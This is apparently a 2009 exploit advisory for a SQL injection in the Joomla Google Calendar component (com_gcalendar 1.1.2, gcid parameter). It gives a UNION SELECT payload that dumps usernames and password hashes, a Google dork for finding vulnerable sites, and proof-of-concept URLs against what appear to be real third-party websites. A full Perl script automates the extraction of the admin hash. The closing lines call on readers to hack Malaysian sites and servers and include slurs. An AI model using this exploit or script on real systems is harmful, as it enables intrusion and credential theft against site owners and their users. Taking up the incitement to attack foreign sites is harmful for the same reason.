Joomla G Calendar 1.1.2 SQL Injection

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"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`  
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[o] Joomla Component com_gcalendar 1.1.2 (gcid) Remote SQL Injection Vulnerability  
  
--==[ Author ]==--  
# Author : Yogyacarderlink Crew  
# Group : YOGYACARDERLINK  
# Site : http://yogyacarderlink.web.id/  
# Date : November, 26-2009 [INDONESIA]  
  
  
Remote SQL Injection were identified in Google Calendar Joomla Component  
  
Application: Google Calendar Component  
Versions Affected: v1.1.2 old versions may also be affected  
Download: http://extensions.joomla.org/extensions/calendars-a-events/calendars/4188  
License: GPL  
Vulnerable: Remote SQL Injection  
Google Dork: inurl:"com_gcalendar"  
  
  
Description  
***********  
  
Google Calendar is a component that will allow you to embed Google Calendars on your Joomla 1.5 site with ease!  
You'll be amazed at the flexibility allowed and the degree of customization.  
  
Details  
*******  
  
[!] SQL Injection  
attacks are another instantiation of injection attack,  
in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands  
  
Exploit  
*******  
  
-9999+union+select+0,concat(username,0x3a,password),2,3,4+from+jos_users--  
  
  
Proof of Concept  
****************  
  
https://chesnetpc.com/clients/index.php?option=com_gcalendar&tmpl=component&view=event&eventID=peler&start=memek&end=kentu&gcid=3+AND+1=2+UNION+SELECT+0,concat(username,0x3a,password),2,3,4+from+jos_users--  
  
http://www.conradawards.org/index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=2+AND+1=2+UNION+SELECT+0,concat(username,0x3a,password),2,3,4+from+jos_users--  
  
-------------------------------------------------------------------------  
#!/usr/bin/perl -w  
  
#Joomla com_gcalendar (gcid) Sql injection  
#Coded by v3n0m  
#Gre4tz: All Yogyacarderlink Crew  
#Special Gre4tz: Google  
  
print "|----------------------------------------------------|\n";  
print "| YOGYACARDERLINK 'com_gcalendar Remote Injector' |\n";  
print "| Coded by : v3n0m |\n";  
print "| Greetz : LeQhi (bug founder) |\n";  
print "| sHoutz : Yogyacarderlink Crew |\n";  
print "| |\n";  
print "| -v3n0m & lingah paling ganteng se-jogjakarta- |\n";  
print "| |\n";  
print "| www.yogyacarderlink.web.id |\n";  
print "|----------------------------------------------------|\n";  
use LWP::UserAgent;  
print "\nMasukin Target:[http://wwww.target.com/path/]: ";  
chomp(my $target=<STDIN>);  
#Nama Column  
$kontol="group_concat(username,0x3a,password)";  
#Nama Table  
$memek="jos_users";  
$ngentot="-9999+union+select+";  
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";  
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');  
$host = $target . "index.php?option=com_gcalendar&view=event&eventID=peler&start=memek&end=kentu&gcid=".$ngentot."0,".$kontol.",2,3,4+from/**/".$memek."+--+";  
$res = $b->request(HTTP::Request->new(GET=>$host));  
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){  
print "\n[+] Admin Hash : $1\n\n";  
print "Sukses coy !! Wah selamat yee bro...\n";  
print "Coba langsung dicheck ke TKP aja bro biar lebih yakin...\n";  
print "\n";  
print "Attention:\n";  
print "v3n0m & lingah emang paling ganteng...\n";  
print "Yang kaga setuju/protes = GAY !!\n";  
print "\n";  
}  
else{print "\n[-] wah gagal bro (Belom Cebok tangan lo)...\n";  
}  
  
-------------------------------------------------------------------------  
  
Thankz : lingah,aRiee,v3n0m,z0mb13,m4rco,NaZmy,IdioT_InsidE,eidelweiss  
JaLi-,yoga0400,Anak_Naga_,badkiddies,g0nz,mywisdom,setanmuda  
jo8928,ripper_maya,elv1n4,dhit_coxon and all YOGYACARDERLINK crew  
  
* Fuck to Malaysia <= the truly thief asia  
be carefull your culture art & song,island get stolen and claimed by them  
letz we hack their sites & servers !! PROUD TO BE INDONESIAN !!  
Bangga Menjadi Orang INDONESIA !!  
`